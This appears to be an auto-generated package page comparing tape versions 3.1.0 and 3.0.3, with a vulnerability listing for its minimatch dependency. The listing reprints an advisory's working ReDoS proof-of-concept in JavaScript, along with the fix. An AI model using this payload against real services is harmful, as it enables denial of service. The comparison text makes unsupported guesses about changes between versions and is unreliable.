Tape is a popular and simple TAP-producing test harness for Node.js and browsers, designed for ease of use and readability. Comparing versions 3.1.0 and 3.0.3 reveals a subtle but important evolution in the package's history. While the core dependencies like glob, defined, resumer, through, inherits, deep-equal, and object-inspect, along with development dependencies such as tap, falafel, and concat-stream, remain consistent, the key distinction lies in their release dates. Version 3.1.0 was released on January 15, 2015, while version 3.0.3 came out on November 11, 2014. This suggests that version 3.1.0 likely incorporates bug fixes, performance enhancements, or minor feature additions implemented in the intervening period.
For developers choosing between these two versions, the newer 3.1.0 is typically recommended due to its updated code base and potential improvements. Since Tape is relatively stable, a jump from 3.0.3 to 3.1.0 will not bring breaking changes to the code. Tape provides a clean and straightforward API for writing unit tests, making it a favorite among developers who prioritize simplicity. Its TAP output format integrates well with various test runners and CI environments. Choose the latest version to benefit from the project’s continual refinement.
All the vulnerabilities related to the version 3.1.0 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.